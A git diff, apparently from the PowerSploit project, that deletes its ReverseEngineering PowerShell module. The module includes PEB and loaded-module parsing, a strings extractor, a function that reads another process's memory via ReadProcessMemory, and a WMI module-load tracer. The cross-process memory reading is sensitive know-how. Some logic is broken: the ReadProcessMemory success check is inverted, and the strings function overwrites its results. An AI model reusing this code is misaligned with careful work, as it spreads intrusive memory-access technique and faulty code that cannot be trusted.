SystemReserved = $PEB.SystemReserved - AtlThunkSListPtr32 = $PEB.AtlThunkSListPtr32 - ApiSetMap = $PEB.ApiSetMap - TlsExpansionCounter = $PEB.TlsExpansionCounter - TlsBitmap = $PEB.TlsBitmap - TlsBitmapBits = $PEB.TlsBitmapBits - ReadOnlySharedMemoryBase = $PEB.ReadOnlySharedMemoryBase - ReadOnlyStaticServerData = $PEB.ReadOnlyStaticServerData - AnsiCodePageData = $PEB.AnsiCodePageData - OemCodePageData = $PEB.OemCodePageData - UnicodeCaseTableData = $PEB.UnicodeCaseTableData - NumberOfProcessors = $PEB.NumberOfProcessors - NtGlobalFlag = $PEB.NtGlobalFlag - CriticalSectionTimeout = $PEB.CriticalSectionTimeout - HeapSegmentReserve = $PEB.HeapSegmentReserve - HeapSegmentCommit = $PEB.HeapSegmentCommit - HeapDeCommitTotalFreeThreshold = $PEB.HeapDeCommitTotalFreeThreshold - HeapDeCommitFreeBlockThreshold = $PEB.HeapDeCommitFreeBlockThreshold - NumberOfHeaps = $PEB.NumberOfHeaps - MaximumNumberOfHeaps = $PEB.MaximumNumberOfHeaps - ProcessHeaps = $PEB.ProcessHeaps - GdiSharedHandleTable = $PEB.GdiSharedHandleTable - ProcessStarterHelper = $PEB.ProcessStarterHelper - GdiDCAttributeList = $PEB.GdiDCAttributeList - LoaderLock = $PEB.LoaderLock - OSMajorVersion = $PEB.OSMajorVersion - OSMinorVersion = $PEB.OSMinorVersion - OSBuildNumber = $PEB.OSBuildNumber - OSCSDVersion = $PEB.OSCSDVersion - OSPlatformId = $PEB.OSPlatformId - ImageSubsystem = $PEB.ImageSubsystem - ImageSubsystemMajorVersion = $PEB.ImageSubsystemMajorVersion - ImageSubsystemMinorVersion = $PEB.ImageSubsystemMinorVersion - ActiveProcessAffinityMask = $PEB.ActiveProcessAffinityMask - GdiHandleBuffer = $PEB.GdiHandleBuffer - PostProcessInitRoutine = $PEB.PostProcessInitRoutine - TlsExpansionBitmap = $PEB.TlsExpansionBitmap - TlsExpansionBitmapBits = $PEB.TlsExpansionBitmapBits - SessionId = $PEB.SessionId - AppCompatFlags = $PEB.AppCompatFlags - AppCompatFlagsUser = $PEB.AppCompatFlagsUser - pShimData = $PEB.pShimData - AppCompatInfo = $PEB.AppCompatInfo - CSDVersion = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($PEB.CSDVersion.Buffer) -StructType ([String]) -UnicodeStringSize ($PEB.CSDVersion.MaximumLength) - ActivationContextData = $PEB.ActivationContextData - ProcessAssemblyStorageMap = $PEB.ProcessAssemblyStorageMap - SystemDefaultActivationContextData = $PEB.SystemDefaultActivationContextData - SystemAssemblyStorageMap = $PEB.SystemAssemblyStorageMap - MinimumStackCommit = $PEB.MinimumStackCommit - } - - foreach ($j in 1..3) - { - switch ($j) - { - 1 { $OrderedModules = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($CustomPEB['Ldr'].InLoadOrderModuleList.Flink) -StructType ($LdrModuleStruct) -LoadOrder 'InLoadOrderModuleList' } - 2 { $OrderedModules = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ([IntPtr] ($CustomPEB['Ldr'].InMemoryOrderModuleList.Flink.ToInt64() - [Runtime.InteropServices.Marshal]::SizeOf([Type]$ListEntryStruct))) -StructType ($LdrModuleStruct) -LoadOrder 'InMemoryOrderModuleList' } - 3 { $OrderedModules = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ([IntPtr] ($CustomPEB['Ldr'].InInitializationOrderModuleList.Flink.ToInt64() - (2 * [Runtime.InteropServices.Marshal]::SizeOf([Type]$ListEntryStruct)))) -StructType ($LdrModuleStruct) -LoadOrder 'InInitializationOrderModuleList' } - } - - $ParsedOrderedModules = New-Object Hashtable[]($OrderedModules.Length) - $Modules = New-Object PSObject[]($OrderedModules.Length) - - $i = 0 - foreach ($Module in $OrderedModules) - { - $ParsedOrderedModules[$i] = @{ - InLoadOrderModuleList = $Module.InLoadOrderModuleList - InMemoryOrderModuleList = $Module.InMemoryOrderModuleList - InInitializationOrderModuleList = $Module.InInitializationOrderModuleList - BaseAddress = $Module.BaseAddress - EntryPoint = $Module.EntryPoint - SizeOfImage = $Module.SizeOfImage - FullDllName = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($Module.FullDllName.Buffer) -StructType ([String]) -UnicodeStringSize ($Module.FullDllName.MaximumLength) - BaseDllName = Get-StructFromMemory -ProcId $ProcessId -MemoryAddress ($Module.BaseDllName.Buffer) -StructType ([String]) -UnicodeStringSize ($Module.BaseDllName.MaximumLength) - PackagedBinary = if(($Module.Flags -band 1) -eq 0){$False}else{$True} - MarkedForRemoval = if(($Module.Flags -band 2) -eq 0){$False}else{$True} - ImageDll = if(($Module.Flags -band 4) -eq 0){$False}else{$True} - LoadNotificationsSent = if(($Module.Flags -band 8) -eq 0){$False}else{$True} - TelemetryEntryProcessed = if(($Module.Flags -band 16) -eq 0){$False}else{$True} - ProcessStaticImport = if(($Module.Flags -band 32) -eq 0){$False}else{$True} - InLegacyLists = if(($Module.Flags -band 64) -eq 0){$False}else{$True} - InIndexes = if(($Module.Flags -band 128) -eq 0){$False}else{$True} - ShimDll = if(($Module.Flags -band 256) -eq 0){$False}else{$True} - InExceptionTable = if(($Module.Flags -band 512) -eq 0){$False}else{$True} - LoadInProgress = if(($Module.Flags -band 4096) -eq 0){$False}else{$True} - EntryProcessed = if(($Module.Flags -band 16384) -eq 0){$False}else{$True} - DontCallForThreads = if(($Module.Flags -band 262144) -eq 0){$False}else{$True} - ProcessAttachCalled = if(($Module.Flags -band 524288) -eq 0){$False}else{$True} - ProcessAttachFailed = if(($Module.Flags -band 1048576) -eq 0){$False}else{$True} - CorDeferredValidate = if(($Module.Flags -band 2097152) -eq 0){$False}else{$True} - CorImage = if(($Module.Flags -band 4194304) -eq 0){$False}else{$True} - DontRelocate = if(($Module.Flags -band 8388608) -eq 0){$False}else{$True} - CorILOnly = if(($Module.Flags -band 16777216) -eq 0){$False}else{$True} - Redirected = if(($Module.Flags -band 268435456) -eq 0){$False}else{$True} - CompatDatabaseProcessed = if(($Module.Flags -band 2147483648) -eq 0){$False}else{$True} - ObsoleteLoadCount = $Module.ObsoleteLoadCount - TlsIndex = $Module.TlsIndex - HashLinks = $Module.HashLinks - TimeDateStamp = (New-Object DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds($Module.TimeDateStamp) - EntryPointActivationContext = $Module.EntryPointActivationContext - PatchInformation = $Module.PatchInformation - DdagNode = $Module.DdagNode - NodeModuleLink = $Module.NodeModuleLink - SnapContext = $Module.SnapContext - ParentDllBase = $Module.ParentDllBase - SwitchBackContext = $Module.SwitchBackContext - BaseAddressIndexNode = $Module.BaseAddressIndexNode - MappingInfoIndexNode = $Module.MappingInfoIndexNode - OriginalBase = $Module.OriginalBase - LoadTime = $Module.LoadTime - BaseNameHashValue = $Module.BaseNameHashValue - LoadReason = $Module.LoadReason - } - - $CustomModuleObject = New-Object PSObject -Property $ParsedOrderedModules[$i] - $CustomModuleObject.PSObject.TypeNames[0] = 'PEB.ModuleEntry' - $Modules[$i] = $CustomModuleObject - - $i++ - } - - switch ($j) - { - 1 { $CustomPEB['InLoadOrderModuleList'] = $Modules } - 2 { $CustomPEB['InMemoryOrderModuleList'] = $Modules } - 3 { $CustomPEB['InInitializationOrderModuleList'] = $Modules } - } - } - - if ($NTDDI_VERSION -ge $NTDDI_VISTA) - { - $CustomPEB['ImageUsesLargePages'] = if(($PEB.BitField -band 1) -eq 0){$False}else{$True} - $CustomPEB['IsProtectedProcess'] = if(($PEB.BitField -band 2) -eq 0){$False}else{$True} - $CustomPEB['IsLegacyProcess'] = if(($PEB.BitField -band 4) -eq 0){$False}else{$True} - $CustomPEB['IsImageDynamicallyRelocated'] = if(($PEB.BitField -band 8) -eq 0){$False}else{$True} - $CustomPEB['SkipPatchingUser32Forwarders'] = if(($PEB.BitField -band 16) -eq 0){$False}else{$True} - $CustomPEB['IsPackagedProcess'] = if(($PEB.BitField -band 32) -eq 0){$False}else{$True} - $CustomPEB['IsAppContainer'] = if(($PEB.BitField -band 64) -eq 0){$False}else{$True} - $CustomPEB['AtlThunkSListPtr'] = $PEB.AtlThunkSListPtr - $CustomPEB['IFEOKey'] = $PEB.IFEOKey - $CustomPEB['ProcessInJob'] = if(($PEB.CrossProcessFlags -band 1) -eq 0){$False}else{$True} - $CustomPEB['ProcessInitializing'] = if(($PEB.CrossProcessFlags -band 2) -eq 0){$False}else{$True} - $CustomPEB['ProcessUsingVEH'] = if(($PEB.CrossProcessFlags -band 4) -eq 0){$False}else{$True} - $CustomPEB['ProcessUsingVCH'] = if(($PEB.CrossProcessFlags -band 8) -eq 0){$False}else{$True} - $CustomPEB['ProcessUsingFTH'] = if(($PEB.CrossProcessFlags -band 16) -eq 0){$False}else{$True} - $CustomPEB['KernelCallbackTable'] = $PEB.KernelCallbackTable - $CustomPEB['HotpatchInformation'] = $PEB.HotpatchInformation - $CustomPEB['FlsCallback'] = $PEB.FlsCallback - $CustomPEB['FlsListHead'] = $PEB.FlsListHead - $CustomPEB['FlsBitmap'] = $PEB.FlsBitmap - $CustomPEB['FlsBitmapBits'] = $PEB.FlsBitmapBits - $CustomPEB['FlsHighIndex'] = $PEB.FlsHighIndex - $CustomPEB['WerRegistrationData'] = $PEB.WerRegistrationData - $CustomPEB['WerShipAssertPtr'] = $PEB.WerShipAssertPtr - $CustomPEB['pUnused'] = $PEB.pUnused - $CustomPEB['pImageHeaderHash'] = $PEB.pImageHeaderHash - $CustomPEB['HeapTracingEnabled'] = if(($PEB.TracingFlags -band 1) -eq 0){$False}else{$True} - $CustomPEB['CritSecTracingEnabled'] = if(($PEB.TracingFlags -band 2) -eq 0){$False}else{$True} - $CustomPEB['LibLoaderTracingEnabled'] = if(($PEB.TracingFlags -band 4) -eq 0){$False}else{$True} - $CustomPEB['CsrServerReadOnlySharedMemoryBase'] = $PEB.CsrServerReadOnlySharedMemoryBase - } - elseif ($NTDDI_VERSION -ge $NTDDI_WS03) - { - $CustomPEB['ImageUsesLargePages'] = if(($PEB.BitField -band 1) -eq 0){$False}else{$True} - $CustomPEB['AtlThunkSListPtr'] = $PEB.AtlThunkSListPtr - $CustomPEB['SparePtr2'] = $PEB.SparePtr2 - $CustomPEB['EnvironmentUpdateCount'] = $PEB.EnvironmentUpdateCount - $CustomPEB['KernelCallbackTable'] = $PEB.KernelCallbackTable - $CustomPEB['ReadOnlySharedMemoryHeap'] = $PEB.ReadOnlySharedMemoryHeap - $CustomPEB['FlsCallback'] = $PEB.FlsCallback - $CustomPEB['FlsListHead'] = $PEB.FlsListHead - $CustomPEB['FlsBitmap'] = $PEB.FlsBitmap - $CustomPEB['FlsBitmapBits'] = $PEB.FlsBitmapBits - $CustomPEB['FlsHighIndex'] = $PEB.FlsHighIndex - } - else - { - $CustomPEB['FastPebLockRoutine'] = $PEB.FastPebLockRoutine - $CustomPEB['FastPebUnlockRoutine'] = $PEB.FastPebUnlockRoutine - $CustomPEB['EnvironmentUpdateCount'] = $PEB.EnvironmentUpdateCount - $CustomPEB['KernelCallbackTable'] = $PEB.KernelCallbackTable - $CustomPEB['ReadOnlySharedMemoryHeap'] = $PEB.ReadOnlySharedMemoryHeap - } - - $NewPEB = New-Object PSObject -Property $CustomPEB - - # _PEB will be interpreted by PowerShell depending upon the detected OS. This only applies if Get-PEB.format.ps1xml was loaded - if ($NTDDI_VERSION -ge $NTDDI_VISTA) - { - $NewPEB.PSObject.TypeNames[0] = 'PEB.Vista' - } - elseif ($NTDDI_VERSION -ge $NTDDI_WS03) - { - $NewPEB.PSObject.TypeNames[0] = 'PEB.Server2003' - } - else - { - $NewPEB.PSObject.TypeNames[0] = 'PEB.XP' - } - - $Handle = $null - - Write-Output $NewPEB - } - } - } - - END{} - -} diff --git a/ReverseEngineering/Get-Strings.ps1 b/ReverseEngineering/Get-Strings.ps1 deleted file mode 100644 index 2cb971c8..00000000 --- a/ReverseEngineering/Get-Strings.ps1 +++ /dev/null @@ -1,98 +0,0 @@ -function Get-Strings -{ -<# -.SYNOPSIS - -Gets strings from a file. - -PowerSploit Function: Get-Strings -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -The Get-Strings cmdlet returns strings (Unicode and/or Ascii) from a file. This cmdlet is useful for dumping strings from binary file and was designed to replicate the functionality of strings.exe from Sysinternals. - -.PARAMETER Path - -Specifies the path to an item. - -.PARAMETER Encoding - -Specifies the file encoding. The default value returns both Unicode and Ascii. - -.PARAMETER MinimumLength - -Specifies the minimum length string to return. The default string length is 3. - -.EXAMPLE - -C:\PS> Get-Strings C:\Windows\System32\calc.exe - -Description ------------ -Dump Unicode and Ascii strings of calc.exe. - -.EXAMPLE - -C:\PS> Get-ChildItem C:\Windows\System32\*.dll | Get-Strings -MinimumLength 12 -Encoding Ascii - -Description ------------ -Dumps Ascii strings of at least length 12 of every dll located in C:\Windows\System32. - -.NOTES - -This cmdlet was designed to intentionally use only PowerShell cmdlets (no .NET methods) in order to be compatible with PowerShell on Windows RT (or any ConstrainedLanguage runspace). - -.LINK - -http://www.exploit-monday.com -#> - - Param - ( - [Parameter(Position = 1, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [ValidateNotNullOrEmpty()] - [ValidateScript({Test-Path $_ -PathType 'Leaf'})] - [String[]] - [Alias('PSPath')] - $Path, - - [ValidateSet('Default','Ascii','Unicode')] - [String] - $Encoding = 'Default', - - [UInt32] - $MinimumLength = 3 - ) - - BEGIN - { - $FileContents = '' - } - PROCESS - { - foreach ($File in $Path) - { - if ($Encoding -eq 'Unicode' -or $Encoding -eq 'Default') - { - $UnicodeFileContents = Get-Content -Encoding 'Unicode' $File - $UnicodeRegex = [Regex] "[\u0020-\u007E]{$MinimumLength,}" - $Results += $UnicodeRegex.Matches($UnicodeFileContents) - } - - if ($Encoding -eq 'Ascii' -or $Encoding -eq 'Default') - { - $AsciiFileContents = Get-Content -Encoding 'UTF7' $File - $AsciiRegex = [Regex] "[\x20-\x7E]{$MinimumLength,}" - $Results = $AsciiRegex.Matches($AsciiFileContents) - } - - $Results | ForEach-Object { Write-Output $_.Value } - } - } - END {} -} diff --git a/ReverseEngineering/Get-StructFromMemory.ps1 b/ReverseEngineering/Get-StructFromMemory.ps1 deleted file mode 100644 index 68f7651f..00000000 --- a/ReverseEngineering/Get-StructFromMemory.ps1 +++ /dev/null @@ -1,203 +0,0 @@ -function Get-StructFromMemory -{ -<# -.SYNOPSIS - -Marshals data from an unmanaged block of memory in an arbitrary process to a newly allocated managed object of the specified type. - -PowerSploit Function: Get-StructFromMemory -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Get-StructFromMemory is similar to the Marshal.PtrToStructure method but will parse and return a structure from any process. - -.PARAMETER Id - -Process ID of the process whose virtual memory space you want to access. - -.PARAMETER MemoryAddress - -The address containing the structure to be parsed. - -.PARAMETER StructType - -The type (System.Type) of the desired structure to be parsed. - -.EXAMPLE - -C:\PS> Get-Process | ForEach-Object { Get-StructFromMemory -Id $_.Id -MemoryAddress $_.MainModule.BaseAddress -StructType ([PE+_IMAGE_DOS_HEADER]) } - -Description ------------ -Parses the DOS headers of every loaded process. Note: In this example, this assumes that [PE+_IMAGE_DOS_HEADER] is defined. You can get the code to define [PE+_IMAGE_DOS_HEADER] here: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html - -.NOTES - -Be sure to enclose the StructType parameter with parenthesis in order to force PowerShell to cast it as a Type object. - -Get-StructFromMemory does a good job with error handling however it will crash if the structure contains fields that attempt to marshal pointers. For example, if a field has a custom attribute of UnmanagedType.LPStr, when the structure is parsed, it will attempt to dererence a string pointer for virtual memory in another process and access violate. - -.LINK - -http://www.exploit-monday.com -#> - - [CmdletBinding()] Param ( - [Parameter(Position = 0, Mandatory = $True)] - [Alias('ProcessId')] - [Alias('PID')] - [UInt16] - $Id, - - [Parameter(Position = 1, Mandatory = $True)] - [IntPtr] - $MemoryAddress, - - [Parameter(Position = 2, Mandatory = $True)] - [Alias('Type')] - [Type] - $StructType - ) - - Set-StrictMode -Version 2 - - $PROCESS_VM_READ = 0x0010 # The process permissions we'l ask for when getting a handle to the process - - # Get a reference to the private GetProcessHandle method is System.Diagnostics.Process - $GetProcessHandle = [Diagnostics.Process].GetMethod('GetProcessHandle', [Reflection.BindingFlags] 'NonPublic, Instance', $null, @([Int]), $null) - - try - { - # Make sure user didn't pass in a non-existent PID - $Process = Get-Process -Id $Id -ErrorVariable GetProcessError - # Get the default process handle - $Handle = $Process.Handle - } - catch [Exception] - { - throw $GetProcessError - } - - if ($Handle -eq $null) - { - throw "Unable to obtain a handle for PID $Id. You will likely need to run this script elevated." - } - - # Get a reference to MEMORY_BASIC_INFORMATION. I don't feel like making the structure myself - $mscorlib = [AppDomain]::CurrentDomain.GetAssemblies() | ? { $_.FullName.Split(',')[0].ToLower() -eq 'mscorlib' } - $Win32Native = $mscorlib.GetTypes() | ? { $_.FullName -eq 'Microsoft.Win32.Win32Native' } - $MEMORY_BASIC_INFORMATION = $Win32Native.GetNestedType('MEMORY_BASIC_INFORMATION', [Reflection.BindingFlags] 'NonPublic') - - if ($MEMORY_BASIC_INFORMATION -eq $null) - { - throw 'Unable to get a reference to the MEMORY_BASIC_INFORMATION structure.' - } - - # Get references to private fields in MEMORY_BASIC_INFORMATION - $ProtectField = $MEMORY_BASIC_INFORMATION.GetField('Protect', [Reflection.BindingFlags] 'NonPublic, Instance') - $AllocationBaseField = $MEMORY_BASIC_INFORMATION.GetField('BaseAddress', [Reflection.BindingFlags] 'NonPublic, Instance') - $RegionSizeField = $MEMORY_BASIC_INFORMATION.GetField('RegionSize', [Reflection.BindingFlags] 'NonPublic, Instance') - - try { $NativeUtils = [NativeUtils] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined - { - # Build dynamic assembly in order to use P/Invoke for interacting with the following Win32 functions: ReadProcessMemory, VirtualQueryEx - $DynAssembly = New-Object Reflection.AssemblyName('MemHacker') - $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MemHacker', $False) - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('NativeUtils', $Attributes, [ValueType]) - $TypeBuilder.DefinePInvokeMethod('ReadProcessMemory', 'kernel32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto') | Out-Null - $TypeBuilder.DefinePInvokeMethod('VirtualQueryEx', 'kernel32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [UInt32], @([IntPtr], [IntPtr], $MEMORY_BASIC_INFORMATION.MakeByRefType(), [UInt32]), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto') | Out-Null - - $NativeUtils = $TypeBuilder.CreateType() - } - - # Request a handle to the process in interest - try - { - $SafeHandle = $GetProcessHandle.Invoke($Process, @($PROCESS_VM_READ)) - $Handle = $SafeHandle.DangerousGetHandle() - } - catch - { - throw $Error[0] - } - - # Create an instance of MEMORY_BASIC_INFORMATION - $MemoryBasicInformation = [Activator]::CreateInstance($MEMORY_BASIC_INFORMATION) - - # Confirm you can actually read the address you're interested in - $NativeUtils::VirtualQueryEx($Handle, $MemoryAddress, [Ref] $MemoryBasicInformation, [Runtime.InteropServices.Marshal]::SizeOf([Type] $MEMORY_BASIC_INFORMATION)) | Out-Null - - $PAGE_EXECUTE_READ = 0x20 - $PAGE_EXECUTE_READWRITE = 0x40 - $PAGE_READONLY = 2 - $PAGE_READWRITE = 4 - - $Protection = $ProtectField.GetValue($MemoryBasicInformation) - $AllocationBaseOriginal = $AllocationBaseField.GetValue($MemoryBasicInformation) - $GetPointerValue = $AllocationBaseOriginal.GetType().GetMethod('GetPointerValue', [Reflection.BindingFlags] 'NonPublic, Instance') - $AllocationBase = $GetPointerValue.Invoke($AllocationBaseOriginal, $null).ToInt64() - $RegionSize = $RegionSizeField.GetValue($MemoryBasicInformation).ToUInt64() - - Write-Verbose "Protection: $Protection" - Write-Verbose "AllocationBase: $AllocationBase" - Write-Verbose "RegionSize: $RegionSize" - - if (($Protection -ne $PAGE_READONLY) -and ($Protection -ne $PAGE_READWRITE) -and ($Protection -ne $PAGE_EXECUTE_READ) -and ($Protection -ne $PAGE_EXECUTE_READWRITE)) - { - $SafeHandle.Close() - throw 'The address specified does not have read access.' - } - - $StructSize = [Runtime.InteropServices.Marshal]::SizeOf([Type] $StructType) - $EndOfAllocation = $AllocationBase + $RegionSize - $EndOfStruct = $MemoryAddress.ToInt64() + $StructSize - - if ($EndOfStruct -gt $EndOfAllocation) - { - $SafeHandle.Close() - throw 'You are attempting to read beyond what was allocated.' - } - - try - { - # Allocate unmanaged memory. This will be used to store the memory read from ReadProcessMemory - $LocalStructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize) - } - catch [OutOfMemoryException] - { - throw Error[0] - } - - Write-Verbose "Memory allocated at 0x$($LocalStructPtr.ToString("X$([IntPtr]::Size * 2)"))" - - # Zero out the memory that was just allocated. According to MSDN documentation: - # "When AllocHGlobal calls LocalAlloc, it passes a LMEM_FIXED flag, which causes the allocated memory to be locked in place. Also, the allocated memory is not zero-filled." - # http://msdn.microsoft.com/en-us/library/s69bkh17.aspx - $ZeroBytes = New-Object Byte[]($StructSize) - [Runtime.InteropServices.Marshal]::Copy($ZeroBytes, 0, $LocalStructPtr, $StructSize) - - $BytesRead = [UInt32] 0 - - if ($NativeUtils::ReadProcessMemory($Handle, $MemoryAddress, $LocalStructPtr, $StructSize, [Ref] $BytesRead)) - { - $SafeHandle.Close() - [Runtime.InteropServices.Marshal]::FreeHGlobal($LocalStructPtr) - throw ([ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()) - } - - Write-Verbose "Struct Size: $StructSize" - Write-Verbose "Bytes read: $BytesRead" - - $ParsedStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($LocalStructPtr, [Type] $StructType) - - [Runtime.InteropServices.Marshal]::FreeHGlobal($LocalStructPtr) - $SafeHandle.Close() - - Write-Output $ParsedStruct -} diff --git a/ReverseEngineering/ProcessModuleTrace.format.ps1xml b/ReverseEngineering/ProcessModuleTrace.format.ps1xml deleted file mode 100644 index ffb67616..00000000 --- a/ReverseEngineering/ProcessModuleTrace.format.ps1xml +++ /dev/null @@ -1,36 +0,0 @@ - - - - - ProcessModuleTraceView - - LOADED_MODULE - - - - - - - TimeCreated - - - ProcessId - - - FileName - - - - "0x$($_.ImageBase.ToString("X$([IntPtr]::Size * 2)"))" - - - ImageSize - 0x{0:X8} - - - - - - - - diff --git a/ReverseEngineering/ProcessModuleTrace.ps1 b/ReverseEngineering/ProcessModuleTrace.ps1 deleted file mode 100644 index 85f71053..00000000 --- a/ReverseEngineering/ProcessModuleTrace.ps1 +++ /dev/null @@ -1,103 +0,0 @@ -function Register-ProcessModuleTrace -{ -<# -.SYNOPSIS - - Starts a trace of loaded process modules - - PowerSploit Function: Register-ProcessModuleTrace - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - -.OUTPUTS - - System.Management.Automation.PSEventJob - - If desired, you can manipulate the event returned with the *-Event cmdlets. - -.LINK - - http://www.exploit-monday.com/ -#> - - [CmdletBinding()] Param () - - if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) - { - throw 'You must run this cmdlet from an elevated PowerShell session.' - } - - $ModuleLoadedAction = { - $Event = $EventArgs.NewEvent - - $ModuleInfo = @{ - TimeCreated = [DateTime]::FromFileTime($Event.TIME_CREATED) - ProcessId = $Event.ProcessId - FileName = $Event.FileName - ImageBase = $Event.ImageBase - ImageSize = $Event.ImageSize - } - - $ModuleObject = New-Object PSObject -Property $ModuleInfo - $ModuleObject.PSObject.TypeNames[0] = 'LOADED_MODULE' - - $ModuleObject - } - - Register-WmiEvent 'Win32_ModuleLoadTrace' -SourceIdentifier 'ModuleLoaded' -Action $ModuleLoadedAction -} - -function Get-ProcessModuleTrace -{ -<# -.SYNOPSIS - - Displays the process modules that have been loaded since the call to Register-ProcessModuleTrace - - PowerSploit Function: Get-ProcessModuleTrace - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: Register-ProcessModuleTrace - Optional Dependencies: None - -.OUTPUTS - - PSObject - -.LINK - - http://www.exploit-monday.com/ -#> - - $Events = Get-EventSubscriber -SourceIdentifier 'ModuleLoaded' -ErrorVariable NoEventRegistered -ErrorAction SilentlyContinue - - if ($NoEventRegistered) - { - throw 'You must execute Register-ProcessModuleTrace before you can retrieve a loaded module list' - } - - $Events.Action.Output -} - -function Unregister-ProcessModuleTrace -{ -<# -.SYNOPSIS - - Stops the running process module trace - - PowerSploit Function: Unregister-ProcessModuleTrace - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: Register-ProcessModuleTrace - Optional Dependencies: None - -.LINK - - http://www.exploit-monday.com/ -#> - - Unregister-Event -SourceIdentifier 'ModuleLoaded' -} diff --git a/ReverseEngineering/ReverseEngineering.psd1 b/ReverseEngineering/ReverseEngineering.psd1 deleted file mode 100644 index 90eec8e8..00000000 --- a/ReverseEngineering/ReverseEngineering.psd1 +++ /dev/null @@ -1,91 +0,0 @@ -@{ - -# Script module or binary module file associated with this manifest. -ModuleToProcess = 'ReverseEngineering.psm1' - -# Version number of this module. -ModuleVersion = '1.0.0.0' - -# ID used to uniquely identify this module -GUID = 'cbffaf47-c55a-4901-92e7-8d794fbe1fff' - -# Author of this module -Author = 'Matthew Graeber' - -# Company or vendor of this module -CompanyName = '' - -# Copyright statement for this module -Copyright = 'BSD 3-Clause' - -# Description of the functionality provided by this module -Description = 'PowerSploit Reverse Engineering Module' - -# Minimum version of the Windows PowerShell engine required by this module -PowerShellVersion = '2.0' - -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -FormatsToProcess = 'Get-PEB.format.ps1xml', 'Get-NtSystemInformation.format.ps1xml', 'Get-ILDisassembly.format.ps1xml', 'ProcessModuleTrace.format.ps1xml' - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - -# Functions to export from this module -FunctionsToExport = '*' - -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'ReverseEngineering'; ModuleVersion = '1.0.0.0'; GUID = 'cbffaf47-c55a-4901-92e7-8d794fbe1fff'}) - -# List of all files packaged with this module -FileList = 'ReverseEngineering.psm1', 'ReverseEngineering.psd1', 'Get-ILDisassembly.ps1', 'Get-NtSystemInformation.format.ps1xml', - 'Get-NtSystemInformation.ps1', 'Get-Member.ps1', 'Get-MethodAddress.ps1', 'Get-PEB.format.ps1xml', - 'Get-PEB.ps1', 'Get-Strings.ps1', 'Get-StructFromMemory.ps1', 'ConvertTo-String.ps1', - 'Get-Entropy.ps1', 'Get-ILDisassembly.format.ps1xml', 'ProcessModuleTrace.ps1', 'Usage.md' - -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - -} - diff --git a/ReverseEngineering/ReverseEngineering.psm1 b/ReverseEngineering/ReverseEngineering.psm1 deleted file mode 100644 index 81d38186..00000000 --- a/ReverseEngineering/ReverseEngineering.psm1 +++ /dev/null @@ -1 +0,0 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/ReverseEngineering/Usage.md b/ReverseEngineering/Usage.md deleted file mode 100644 index 33b4ac4b..00000000 --- a/ReverseEngineering/Usage.md +++ /dev/null @@ -1,12 +0,0 @@ -To install this module, drop the entire ReverseEngineering folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. - -The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" -The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" - -To use the module, type `Import-Module ReverseEngineering` - -To see the commands imported, type `Get-Command -Module ReverseEngineering` - -For help on each individual command, Get-Help is your friend. - -Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. \ No newline at end of file From dc1a5e519fef327f694bc61d522c750fabf831aa Mon Sep 17 00:00:00 2001 From: mattifestation 